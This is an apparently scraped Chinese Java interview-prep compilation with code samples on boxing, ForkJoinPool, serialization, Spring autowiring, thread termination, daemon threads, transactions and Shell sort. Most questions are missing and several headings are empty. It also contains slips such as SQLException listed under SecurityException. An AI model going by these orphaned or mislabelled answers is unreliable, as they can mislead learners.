package constxiong.interview; /** * 测试继承多接口,实现相同方法 * 从 JDK1.8 开始,接口中允许有静态方法和方法默认实现 * 当检测到实现类中实现的多个接口中有相同的默认已实现的方法,编译报错 * @author ConstXiong * @date 2019-11-21 10:58:33 */ public class TestImplementsMulitInterface implements InterfaceA, InterfaceB { public void hello() { System.out.println("hello"); } } interface InterfaceA { void hello(); static void sayHello() { System.out.println("InterfaceA static: say hello"); } default void sayBye() { System.out.println("InterfaceA default: say bye"); } } interface InterfaceB { void hello(); static void sayHello() { System.out.println("InterfaceB static: say hello"); } // default void sayBye() { // System.out.println("InterfaceB default: say bye"); // } }
1、什么是装箱?什么是拆箱?
装箱:基本类型转变为包装器类型的过程。
拆箱:包装器类型转变为基本类型的过程。
//JDK1.5之前是不支持自动装箱和自动拆箱的,定义Integer对象,必须
Integer i = new Integer(8);
//JDK1.5开始,提供了自动装箱的功能,定义Integer对象可以这样
Integer i = 8;
int n = i;//自动拆箱
2、装箱和拆箱的执行过程?
3、常见问题?
实验代码
Integer i1 = 100; Integer i2 = 100; Integer i3 = 200; Integer i4 = 200; System.out.println(i1 == i2);//true System.out.println(i3 == i4);//false Double d1 = 100.0; Double d2 = 100.0; Double d3 = 200.0; Double d4 = 200.0; System.out.println(d1 == d2);//false System.out.println(d3 == d4);//false Boolean b1 = false; Boolean b2 = false; Boolean b3 = true; Boolean b4 = true; System.out.println(b1 == b2);//true System.out.println(b3 == b4);//true
Integer s1 = 0; long t1 = System.currentTimeMillis(); for(int i = 0; i <1000 * 10000; i++){ s1 += i; } long t2 = System.currentTimeMillis(); System.out.println("使用Integer,递增相加耗时:" + (t2 - t1));//使用Integer,递增相加耗时:68 int s2 = 0; long t3 = System.currentTimeMillis(); for(int i = 0; i <1000 * 10000; i++){ s2 += i; } long t4 = System.currentTimeMillis(); System.out.println("使用int,递增相加耗时:" + (t4 - t3));//使用int,递增相加耗时:6
ps:可深入研究一下 javap 命令,看下自动拆箱、装箱后的class文件组成。
看一下 JDK 中 Byte、Short、Character、Integer、Long、Boolean、Float、Double的 valueOf 和 xxxValue 方法的源码(xxx代表基本类型如intValue)。
ObjectFactory 与 BeanFactory 均提供依赖查找的能力。
ObjectFactory 仅关注一个或一种类型的 Bean 依赖查找,自身不具备依赖查找的能力,能力由 BeanFactory 输出;BeanFactory 提供了单一类型、集合类型以及层次性等多种依赖查找的方式。
PATH 中搜索某个系统命令的位置,并返回第一个搜索结果
which 命令,可以看到某个系统命令是否存在,执行命令的位置
which ls 查看 ls 命令的执行文件位置
分为新生代和老年代,新生代默认占总空间的 1/3,老年代默认占 2/3。
新生代使用复制算法,有 3 个分区:Eden、To Survivor、From Survivor,它们的默认占比是 8:1:1。
当新生代中的 Eden 区内存不足时,就会触发 Minor GC,过程如下:
Dubbo 构建的微服务架构像组装电脑,组件选择自由度高、玩不好容易出问题;Spring Cloud 的像品牌机,提供一整套稳定的组件。
ForkJoinPool 是 JDK1.7 开始提供的线程池。为了解决 CPU 负载不均衡的问题。如某个较大的任务,被一个线程去执行,而其他线程处于空闲状态。
ForkJoinTask 表示一个任务,ForkJoinTask 的子类中有 RecursiveAction 和 RecursiveTask。
RecursiveAction 无返回结果;RecursiveTask 有返回结果。
重写 RecursiveAction 或 RecursiveTask 的 compute(),完成计算或者可以进行任务拆分。
调用 ForkJoinTask 的 fork() 的方法,可以让其他空闲的线程执行这个 ForkJoinTask;
调用 ForkJoinTask 的 join() 的方法,将多个小任务的结果进行汇总。
无返回值打印任务拆分
package constxiong.interview; import java.util.concurrent.ForkJoinPool; import java.util.concurrent.RecursiveAction; import java.util.concurrent.TimeUnit; /** * 测试 ForkJoinPool 线程池的使用 * @author ConstXiong * @date 2019-06-12 12:05:55 */ public class TestForkJoinPool { public static void main(String[] args) throws Exception { testNoResultTask();//测试使用 ForkJoinPool 无返回值的任务执行 } /** * 测试使用 ForkJoinPool 无返回值的任务执行 * @throws Exception */ public static void testNoResultTask() throws Exception { ForkJoinPool pool = new ForkJoinPool(); pool.submit(new PrintTask(1, 200)); pool.awaitTermination(2, TimeUnit.SECONDS); pool.shutdown(); } } /** * 无返回值的打印任务 * @author ConstXiong * @date 2019-06-12 12:07:02 */ class PrintTask extends RecursiveAction { private static final long serialVersionUID = 1L; private static final int THRESHOLD = 49; private int start; private int end; public PrintTask(int start, int end) { super(); this.start = start; this.end = end; } @Override protected void compute() { //当结束值比起始值 大于 49 时,按数值区间平均拆分为两个任务;否则直接打印该区间的值 if (end - start <THRESHOLD) { for (int i = start; i <= end; i++) { System.out.println(Thread.currentThread().getName() + ", i = " + i); } } else { int middle = (start + end) / 2; PrintTask firstTask = new PrintTask(start, middle); PrintTask secondTask = new PrintTask(middle + 1, end); firstTask.fork(); secondTask.fork(); } } }
有返回值计算任务拆分、结果合并
package constxiong.interview; import java.util.concurrent.ForkJoinPool; import java.util.concurrent.ForkJoinTask; import java.util.concurrent.RecursiveTask; import java.util.concurrent.TimeUnit; /** * 测试 ForkJoinPool 线程池的使用 * @author ConstXiong * @date 2019-06-12 12:05:55 */ public class TestForkJoinPool { public static void main(String[] args) throws Exception { testHasResultTask();//测试使用 ForkJoinPool 有返回值的任务执行,对结果进行合并。计算 1 到 200 的累加和 } /** * 测试使用 ForkJoinPool 有返回值的任务执行,对结果进行合并。计算 1 到 200 的累加和 * @throws Exception */ public static void testHasResultTask() throws Exception { int result1 = 0; for (int i = 1; i <= 200; i++) { result1 += i; } System.out.println("循环计算 1-200 累加值:" + result1); ForkJoinPool pool = new ForkJoinPool(); ForkJoinTask<Integer> task = pool.submit(new CalculateTask(1, 200)); int result2 = task.get(); System.out.println("并行计算 1-200 累加值:" + result2); pool.awaitTermination(2, TimeUnit.SECONDS); pool.shutdown(); } } /** * 有返回值的计算任务 * @author ConstXiong * @date 2019-06-12 12:07:25 */ class CalculateTask extends RecursiveTask<Integer> { private static final long serialVersionUID = 1L; private static final int THRESHOLD = 49; private int start; private int end; public CalculateTask(int start, int end) { super(); this.start = start; this.end = end; } @Override protected Integer compute() { //当结束值比起始值 大于 49 时,按数值区间平均拆分为两个任务,进行两个任务的累加值汇总;否则直接计算累加值 if (end - start <= THRESHOLD) { int result = 0; for (int i = start; i <= end; i++) { result += i; } return result; } else { int middle = (start + end) / 2; CalculateTask firstTask = new CalculateTask(start, middle); CalculateTask secondTask = new CalculateTask(middle + 1, end); firstTask.fork(); secondTask.fork(); return firstTask.join() + secondTask.join(); } } }
package constxiong.interview; import java.text.SimpleDateFormat; import java.time.LocalDate; import java.time.LocalDateTime; import java.time.LocalTime; import java.time.MonthDay; import java.time.Year; import java.time.format.DateTimeFormatter; import java.util.Calendar; import java.util.Date; /** * 测试时间和日期 * @author ConstXiong * @date 2019-11-01 11:05:59 */ public class TestDateAndTime { public static void main(String[] args) { //获取当前的年、月、日、时、分、秒、毫秒、纳秒 //年 System.out.println(Calendar.getInstance().get(Calendar.YEAR)); //JDK 1.8 java.time 包 System.out.println(Year.now()); System.out.println(LocalDate.now().getYear()); //月 System.out.println(Calendar.getInstance().get(Calendar.MONTH)+1); //JDK 1.8 java.time 包 System.out.println(MonthDay.now().getMonthValue()); System.out.println(LocalDate.now().getMonthValue()); //日 System.out.println(Calendar.getInstance().get(Calendar.DAY_OF_MONTH)); //JDK 1.8 java.time 包 System.out.println(MonthDay.now().getDayOfMonth()); System.out.println(LocalDate.now().getDayOfMonth()); //时 System.out.println(Calendar.getInstance().get(Calendar.HOUR_OF_DAY)); //JDK 1.8 java.time 包 System.out.println(LocalTime.now().getHour()); //分 System.out.println(Calendar.getInstance().get(Calendar.MINUTE)); //JDK 1.8 java.time 包 System.out.println(LocalTime.now().getMinute()); //秒 System.out.println(Calendar.getInstance().get(Calendar.SECOND)); //JDK 1.8 java.time 包 System.out.println(LocalTime.now().getSecond()); //毫秒 System.out.println(Calendar.getInstance().get(Calendar.MILLISECOND)); //纳秒 System.out.println(LocalTime.now().getNano()); //当前时间毫秒数 System.out.println(System.currentTimeMillis()); System.out.println(Calendar.getInstance().getTimeInMillis()); //某月最后一天 //2018-05月最后一天,6月1号往前一天 Calendar c = Calendar.getInstance(); c.set(Calendar.YEAR, 2018); c.set(Calendar.MONTH, 5); c.set(Calendar.DAY_OF_MONTH, 1); c.add(Calendar.DAY_OF_MONTH, -1); System.out.println(c.get(Calendar.YEAR) + "-" + (c.get(Calendar.MONTH)+1) + "-" + c.get(Calendar.DAY_OF_MONTH)); //JDK 1.8 java.time 包 LocalDate date = LocalDate.of(2019, 6, 1).minusDays(1); System.out.println(date.getYear() + "-" + date.getMonthValue() + "-" + date.getDayOfMonth()); //格式化日期 System.out.println(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date())); //JDK 1.8 java.time 包 System.out.println(LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"))); } }
top + H 指令找出占用 CPU 最高的进程的 pid
top -H -p
在该进程中找到,哪些线程占用的 CPU 最高的线程,记录下 tid
jstack -l > threads.txt,导出进程的线程栈信息到文本,导出出现异常的话,加上 -F 参数
将 tid 转换为十六进制,在 threads.txt 中搜索,查到对应的线程代码执行栈,在代码中查找占 CPU 比较高的原因。其中 tid 转十六进制,可以借助 Linux 的 printf “%x” tid 指令
我用上述方法查到过,jvm 多条线程疯狂 full gc 导致的CPU 100% 的问题和 JDK1.6 HashMap 并发 put 导致线程 CPU 100% 的问题
不会,因为列涉及到运算,不会使用索引
序列化:将 Java 对象转换成字节流的过程。
反序列化:将字节流转换成 Java 对象的过程。
当 Java 对象需要在网络上传输 或者 持久化存储到文件中时,就需要对 Java 对象进行序列化处理。
序列化的实现:类实现 Serializable 接口,这个接口没有需要实现的方法。实现 Serializable 接口是为了告诉 jvm 这个类的对象可以被序列化。
注意事项:
具体使用
package constxiong.interview; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; /** * 测试序列化,反序列化 * @author ConstXiong * @date 2019-06-17 09:31:22 */ public class TestSerializable implements Serializable { private static final long serialVersionUID = 5887391604554532906L; private int id; private String name; public TestSerializable(int id, String name) { this.id = id; this.name = name; } @Override public String toString() { return "TestSerializable [id=" + id + ", name=" + name + "]"; } @SuppressWarnings("resource") public static void main(String[] args) throws IOException, ClassNotFoundException { //序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("TestSerializable.obj")); oos.writeObject("测试序列化"); oos.writeObject(618); TestSerializable test = new TestSerializable(1, "ConstXiong"); oos.writeObject(test); //反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("TestSerializable.obj")); System.out.println((String)ois.readObject()); System.out.println((Integer)ois.readObject()); System.out.println((TestSerializable)ois.readObject()); } }
打印结果:
测试序列化
618
TestSerializable [id=1, name=ConstXiong]
优点:
缺点:
SELECT * FROM tablename LIMIT 0,50;
Tomcat 是一个 Web 容器,包含 HTTP 服务器 + Servlet 容器。
Web 容器的两个核心功能:
Tomcat 的两个核心组件连接器(Connector)和容器(Container)来分别做这两件事情。连接器负责对外连接,容器负责内部对请求的处理。
Tomcat 的核心模块:
说 MyBatis 是 半自动 ORM 最主要的一个原因是,它需要在 XML 或者注解里通过手动或插件生成 SQL,才能完成 SQL 执行结果与对象映射绑定。
可以 wait()、notify() 实现;也可以使用发令枪 CountDownLatch 实现。
CountDownLatch 实现较简单,如下:
package constxiong.interview; import java.util.concurrent.CountDownLatch; /** * 测试同时启动多个线程 * @author ConstXiong */ public class TestCountDownLatch { private static CountDownLatch cld = new CountDownLatch(10); public static void main(String[] args) { for (int i = 0; i <10; i++) { Thread t = new Thread(new Runnable() { public void run() { try { cld.await();//将线程阻塞在此,等待所有线程都调用完start()方法,一起执行 } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(Thread.currentThread().getName() + ":" + System.currentTimeMillis()); } }); t.start(); cld.countDown(); } } }
package constxiong.interview; import java.io.File; /** * 使用递归输出某个目录下所有子目录和文件 * @author ConstXiong * @date 2019-10-23 15:16:32 */ public class TestPrintDirAndFiles { public static void main(String[] args) { print(new File("E:/")); } private static void print(File file) { System.out.println(file.getAbsolutePath()); if (file.isDirectory()) { File[] files = file.listFiles(); for (File f : files) { print(f); } } } }
Spring 中自动装配 autowire 机制是指,由 Spring Ioc 容器负责把所需要的 bean,自动查找和赋值到当前在创建 bean 的属性中,无需手动设置 bean 的属性。
1、基于 xml 配置 bean 的装配方式:
方式的定义在 AutowireCapableBeanFactory.AUTOWIRE_NO
AUTOWIRE_BY_NAME
AUTOWIRE_BY_TYPE
AUTOWIRE_CONSTRUCTOR
AUTOWIRE_AUTODETECT
2、基于注解完成 bean 的装配
@Autowired、@Inject、@Value 的解析工作是在 AutowiredAnnotationBeanPostProcessor 内,如何源码 1
@Resource 的解析工作是在 CommonAnnotationBeanPostProcessor 内,如何源码 2
源码 1、 public AutowiredAnnotationBeanPostProcessor() { this.autowiredAnnotationTypes.add(Autowired.class); this.autowiredAnnotationTypes.add(Value.class); try { this.autowiredAnnotationTypes.add((Class<? extends Annotation>) ClassUtils.forName("javax.inject.Inject", AutowiredAnnotationBeanPostProcessor.class.getClassLoader())); logger.trace("JSR-330 'javax.inject.Inject' annotation found and supported for autowiring"); } catch (ClassNotFoundException ex) { // JSR-330 API not available - simply skip. } } 源码 2、 static { ... resourceAnnotationTypes.add(Resource.class); ... }
基于 xml 的代码示例
1、no 方式
spring 配置文件,使用 ref 参数注入 bean,必须要有对象的 setter 方法,这里即 Person 的 setFr 方法。
没有 因没有注入 fr 属性,会报空指针错误。
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <bean id="person" class="constxiong.interview.assemble.Person" autowire="no"> <property name="fr" ref="fr"></property> </bean> <bean id="fr" class="constxiong.interview.assemble.FishingRod"></bean> </beans>
鱼竿 bean
package constxiong.interview.assemble; /** * 鱼竿 * @author ConstXiong * @date 2019-07-17 09:53:15 */ public class FishingRod { /** * 被使用 */ public void used() { System.out.println("钓鱼..."); } }
人 bean
package constxiong.interview.assemble; /** * 人 * @author ConstXiong * @date 2019-07-17 09:54:56 */ public class Person { private FishingRod fr; /** * 钓鱼 */ public void fish() { fr.used(); } public void setFr(FishingRod fr) { this.fr = fr; } }
测试代码
package constxiong.interview.assemble;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class AssembleTest {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("spring_assemble.xml");
Person person = (Person)context.getBean("person");
person.fish();
}
}
2、byName 也是需要相应的 setter 方法才能注入
修改 spring 配置文件 autowire=“byName”
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd">
<bean id="person" class="constxiong.interview.assemble.Person" autowire="byName"></bean>
<bean id="fr" class="constxiong.interview.assemble.FishingRod"></bean>
</beans>
3、byType 也是需要相应的 setter 方法才能注入
修改 spring 配置文件 autowire=“byType”
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd">
<bean id="person" class="constxiong.interview.assemble.Person" autowire="byType"></bean>
<bean id="fr" class="constxiong.interview.assemble.FishingRod"></bean>
</beans>
其他不变
4、constructor 无需 setter 方法,需要通过 构造方法注入 bean
修改 spring 配置文件 autowire=“byType”
Person 类去除 setFr 方法,添加构造方法设置 fr 属性
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <bean id="person" class="constxiong.interview.assemble.Person" autowire="constructor"></bean> <bean id="fr" class="constxiong.interview.assemble.FishingRod"></bean> </beans> package constxiong.interview.assemble; /** * 人 * @author ConstXiong * @date 2019-07-17 09:54:56 */ public class Person { private FishingRod fr; public Person(FishingRod fr) { this.fr = fr; } /** * 钓鱼 */ public void fish() { fr.used(); } }
1、2、3、4 的测试结果一致,打印
钓鱼...
两个或一个
线程终止有两种情况:
这两者属于线程自行终止,如何让线程 A 把线程 B 终止呢?
Java 中 Thread 类有一个 stop() 方法,可以终止线程,不过这个方法会让线程直接终止,在执行的任务立即终止,未执行的任务无法反馈,所以 stop() 方法已经不建议使用。
既然 stop() 方法如此粗暴,不建议使用,我们如何优雅地结束线程呢?
线程只有从 runnable 状态(可运行/运行状态) 才能进入terminated 状态(终止状态),如果线程处于 blocked、waiting、timed_waiting 状态(休眠状态),就需要通过 Thread 类的 interrupt() 方法,让线程从休眠状态进入 runnable 状态,从而结束线程。
当线程进入 runnable 状态之后,通过设置一个标识位,线程在合适的时机,检查该标识位,发现符合终止条件,自动退出 run () 方法,线程终止。
如我们模拟一个系统监控任务线程,代码如下
package constxiong.concurrency.a007; /** * 模拟系统监控 * @author ConstXiong */ public class TestSystemMonitor { public static void main(String[] args) { testSystemMonitor();//测试系统监控器 } /** * 测试系统监控器 */ public static void testSystemMonitor() { SystemMonitor sm = new SystemMonitor(); sm.start(); try { //运行 10 秒后停止监控 Thread.sleep(10 * 1000); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println("监控任务启动 10 秒后,停止..."); sm.stop(); } } /** * 系统监控器 * @author ConstXiong */ class SystemMonitor { private Thread t; /** * 启动一个线程监控系统 */ void start() { t = new Thread(() -> { while (!Thread.currentThread().isInterrupted()) {//判断当前线程是否被打断 System.out.println("正在监控系统..."); try { Thread.sleep(3 * 1000L);//执行 3 秒 System.out.println("任务执行 3 秒"); System.out.println("监控的系统正常!"); } catch (InterruptedException e) { System.out.println("任务执行被中断..."); } } }); t.start(); } void stop() { t.interrupt(); } }
执行结果
正在监控系统... 任务执行 3 秒 监控的系统正常! 正在监控系统... 任务执行 3 秒 监控的系统正常! 正在监控系统... 任务执行 3 秒 监控的系统正常! 正在监控系统... 监控任务启动 10 秒后,停止... 任务执行被中断... 正在监控系统... 任务执行 3 秒 监控的系统正常! 正在监控系统... . . .
从代码和执行结果我们可以看出,系统监控器 start() 方法会创建一个线程执行监控系统的任务,每个任务查询系统情况需要 3 秒钟,在监控 10 秒钟后,主线程向监控器发出停止指令。
但是结果却不是我们期待的,10 秒后并没有终止了监控器,任务还在执行。
原因在于,t.interrupt() 方法让处在休眠状态的语句 Thread.sleep(3 * 1000L); 抛出异常,同时被捕获,此时 JVM 的异常处理会清除线程的中断状态,导致任务一直在执行。
处理办法是,在捕获异常后,继续重新设置中断状态,代码如下
package constxiong.concurrency.a007; /** * 模拟系统监控 * @author ConstXiong */ public class TestSystemMonitor { public static void main(String[] args) { testSystemMonitor();//测试系统监控器 } /** * 测试系统监控器 */ public static void testSystemMonitor() { SystemMonitor sm = new SystemMonitor(); sm.start(); try { //运行 10 秒后停止监控 Thread.sleep(10 * 1000); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println("监控任务启动 10 秒后,停止..."); sm.stop(); } } /** * 系统监控器 * @author ConstXiong */ class SystemMonitor { private Thread t; /** * 启动一个线程监控系统 */ void start() { t = new Thread(() -> { while (!Thread.currentThread().isInterrupted()) {//判断当前线程是否被打断 System.out.println("正在监控系统..."); try { Thread.sleep(3 * 1000L);//执行 3 秒 System.out.println("任务执行 3 秒"); System.out.println("监控的系统正常!"); } catch (InterruptedException e) { System.out.println("任务执行被中断..."); Thread.currentThread().interrupt();//重新设置线程为中断状态 } } }); t.start(); } void stop() { t.interrupt(); } }
执行结果如预期
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
监控任务启动 10 秒后,停止...
任务执行被中断...
到这里还没有结束,我们用 Thread.sleep(3 * 1000L); 去模拟任务的执行,在实际情况中,一般是调用其他服务的代码,如果出现其他异常情况没有成功设置线程的中断状态,线程将一直执行下去,显然风险很高。所以,需要用一个线程终止的标识来代替 Thread.currentThread().isInterrupted()。
修改代码如下
package constxiong.concurrency.a007; /** * 模拟系统监控 * @author ConstXiong */ public class TestSystemMonitor { public static void main(String[] args) { testSystemMonitor();//测试系统监控器 } /** * 测试系统监控器 */ public static void testSystemMonitor() { SystemMonitor sm = new SystemMonitor(); sm.start(); try { //运行 10 秒后停止监控 Thread.sleep(10 * 1000); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println("监控任务启动 10 秒后,停止..."); sm.stop(); } } /** * 系统监控器 * @author ConstXiong */ class SystemMonitor { private Thread t; private volatile boolean stop = false; /** * 启动一个线程监控系统 */ void start() { t = new Thread(() -> { while (!stop) {//判断当前线程是否被打断 System.out.println("正在监控系统..."); try { Thread.sleep(3 * 1000L);//执行 3 秒 System.out.println("任务执行 3 秒"); System.out.println("监控的系统正常!"); } catch (InterruptedException e) { System.out.println("任务执行被中断..."); Thread.currentThread().interrupt();//重新设置线程为中断状态 } } }); t.start(); } void stop() { stop = true; t.interrupt(); } }
执行结果
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
任务执行 3 秒
监控的系统正常!
正在监控系统...
监控任务启动 10 秒后,停止...
任务执行被中断...
到这里基本算是优雅地让线程终止了。
LinkedList
分析:
Java线程分为用户线程和守护线程。
注意:
setDaemon(true) 必须在 start() 之前设置,否则会抛出IllegalThreadStateException异常,该线程仍默认为用户线程,继续执行
守护线程创建的线程也是守护线程
守护线程不应该访问、写入持久化资源,如文件、数据库,因为它会在任何时间被停止,导致资源未释放、数据写入中断等问题
package constxiong.concurrency.a008;
/**
测试守护线程
@author ConstXiong
@date 2019-09-03 12:15:59
*/
public class TestDaemonThread {
public static void main(String[] args) {
testDaemonThread();
}
//
public static void testDaemonThread() {
Thread t = new Thread(() -> {
//创建线程,校验守护线程内创建线程是否为守护线程
Thread t2 = new Thread(() -> {
System.out.println("t2 : " + (Thread.currentThread().isDaemon() ? “守护线程” : “非守护线程”));
});
t2.start();
//当所有用户线程执行完,守护线程会被直接杀掉,程序停止运行 int i = 1; while(true) { try { Thread.sleep(500); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println("t : " + (Thread.currentThread().isDaemon() ? "守护线程" : "非守护线程") + " , 执行次数 : " + i); if (i++ >= 10) { break; } } }); //setDaemon(true) 必须在 start() 之前设置,否则会抛出IllegalThreadStateException异常,该线程仍默认为用户线程,继续执行 t.setDaemon(true); t.start(); try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } //主线程结束 System.out.println("主线程结束");
}
}
执行结果
t2 : 守护线程
t : 守护线程 , 执行次数 : 1
主线程结束
t : 守护线程 , 执行次数 : 2
结论:
上述代码线程t,未打印到 t : daemon thread , time : 10,说明所有用户线程停止,进程会停掉所有守护线程,退出程序
当 t.start(); 放到 t.setDaemon(true); 之前,程序抛出IllegalThreadStateException,t 仍然是用户线程,打印如下
Exception in thread “main” t2 : 非守护线程
java.lang.IllegalThreadStateException
at java.lang.Thread.setDaemon(Thread.java:1359)
at constxiong.concurrency.a008.TestDaemonThread.testDaemonThread(TestDaemonThread.java:39)
at constxiong.concurrency.a008.TestDaemonThread.main(TestDaemonThread.java:11)
t : 非守护线程 , 执行次数 : 1
t : 非守护线程 , 执行次数 : 2
t : 非守护线程 , 执行次数 : 3
t : 非守护线程 , 执行次数 : 4
t : 非守护线程 , 执行次数 : 5
t : 非守护线程 , 执行次数 : 6
t : 非守护线程 , 执行次数 : 7
t : 非守护线程 , 执行次数 : 8
t : 非守护线程 , 执行次数 : 9
t : 非守护线程 , 执行次数 : 10
Class 文件包含了 Java 虚拟机的指令集、符号表、辅助信息的字节码(Byte Code),是实现跨操作系统和语言无关性的基石之一。
一个 Class 文件定义了一个类或接口的信息,是以 8 个字节为单位,没有分隔符,按顺序紧凑排在一起的二进制流。
用 “无符号数” 和 “表” 组成的伪结构来存储数据。
组成部分
1、魔数 Magic Number
2、版本号
3、常量池
4、访问标志
5、类索引、父类索引、接口索引集合
6、字段表(field_info)集合
7、方法表(method_info)集合
8、属性表(attribute_info)集合
异常非常多,Throwable 是异常的根类。
Throwable 包含子类 错误-Error 和 异常-Exception 。
Exception 又分为 一般异常和运行时异常 RuntimeException。
运行时异常不需要代码显式捕获处理。
下图是常见异常类及其父子关系:
Throwable
| ├ Error
| │ ├ IOError
| │ ├ LinkageError
| │ ├ ReflectionError
| │ ├ ThreadDeath
| │ └ VirtualMachineError
| │
| ├ Exception
| │ ├ CloneNotSupportedException
| │ ├ DataFormatException
| │ ├ InterruptedException
| │ ├ IOException
| │ ├ ReflectiveOperationException
| │ ├ RuntimeException
| │ ├ ArithmeticException
| │ ├ ClassCastException
| │ ├ ConcurrentModificationException
| │ ├ IllegalArgumentException
| │ ├ IndexOutOfBoundsException
| │ ├ NoSuchElementException
| │ ├ NullPointerException
| │ └ SecurityException
| │ └ SQLException
wc(word count),统计指定的文件中字节数、字数、行数,并将统计结果输出
命令格式:wc [option] file..
命令参数:
-c 统计字节数
-l 统计行数
-m 统计字符数
-w 统计词数,一个字被定义为由空白、跳格或换行字符分隔的字符串
分析:
Java是单继承的,一个类只能继承一个父类。
1、@Transactional 作用在非 public 修饰的方法上
2、@Transactional 作用于接口,使用 CGLib 动态代理
3、@Transactional 注解属性 propagation 设置以下三种可能导致无法回滚
4、同一类中加 @Transactional 方法被无 @Transactional 的方法调用,事务失效
5、@Transactional 方法内异常被捕获
6、默认 RuntimeException 和 Error 及子类抛出,会回滚;rollbackFor 指定的异常及子类发生才会回滚
7、数据库不支持事务,如 MySQL 使用 MyISAM 存储引擎
8、Spring 的配置文件中未配置事务注解生效
<tx:annotation-driven transaction-manager="transactionManager"/>
9、Spring Boot 引入 jbdc 或 jpa 包,默认事务注解。若未引入这两个包,需要使用 @EnableTransactionManagement 进行配置
分析见:这里
9 种动态 SQL 标签:if、choose、when、otherwise、trim、where、set、foreach、bind
1 种注解中使用动态 SQL 标签:script
官方说明文档:
https://mybatis.org/mybatis-3/zh/dynamic-sql.html
源码实现的入口在这里 XMLScriptBuilder 类中
protected MixedSqlNode parseDynamicTags(XNode node) { List<SqlNode> contents = new ArrayList<>(); NodeList children = node.getNode().getChildNodes(); for (int i = 0; i <children.getLength(); i++) { XNode child = node.newXNode(children.item(i)); if (child.getNode().getNodeType() == Node.CDATA_SECTION_NODE || child.getNode().getNodeType() == Node.TEXT_NODE) { ... } else if (child.getNode().getNodeType() == Node.ELEMENT_NODE) { // issue #628 //根据 node 名称获取对应 handler String nodeName = child.getNode().getNodeName(); NodeHandler handler = nodeHandlerMap.get(nodeName); if (handler == null) { throw new BuilderException("Unknown element <" + nodeName + "> in SQL statement."); } handler.handleNode(child, contents); isDynamic = true; } } return new MixedSqlNode(contents); }
对象在 JVM 中的创建过程如下:
是插入排序经过改进之后的高效版本,也称缩小增量排序。
1959 年提出,是突破时间复杂度 O(n2) 的第一批算法之一。
缩小增量排序的最优增量选择是一个数学难题,一般采用希尔建议的增量,具体如下。
思路与步骤:
代码:
package constxiong.interview.algorithm; /** * 希尔排序 * @author ConstXiong * @date 2020-04-11 11:58:58 */ public class ShellSort { public static void main(String[] args) { int [] array = {33, 22, 1, 4, 25, 88, 71, 4}; shellSort(array); } /** * 希尔排序 * @param array */ private static void shellSort(int[] array) { print(array); int length = array.length; int step = length / 2; //步长,默认取数组长度一半 int temp; while (step > 0) { for (int i = step; i <length; i++) { //从步长值为下标,开始遍历 temp = array[i]; //当前值 int preIndex = i - step; //步长间隔上一个值的下标 //在步长间隔的的数组中,找到需要插入的位置,挪动右边的数 while (preIndex >= 0 && array[preIndex] > temp) { array[preIndex + step] = array[preIndex]; preIndex -= step; } //把当前值插入到在步长间隔的的数组中找到的位置 array[preIndex + step] = temp; } step /= 2; print(array); } } /** * 打印数组 * @param array */ private static void print(int[] array) { for(int i : array) { System.out.print(i + " "); } System.out.println(); } }
打印:
33 22 1 4 25 88 71 4
25 22 1 4 33 88 71 4
1 4 25 4 33 22 71 88
1 4 4 22 25 33 71 88
特征:
运行结果: -1
JDK 中的 java.lang.Math 类
测试代码:
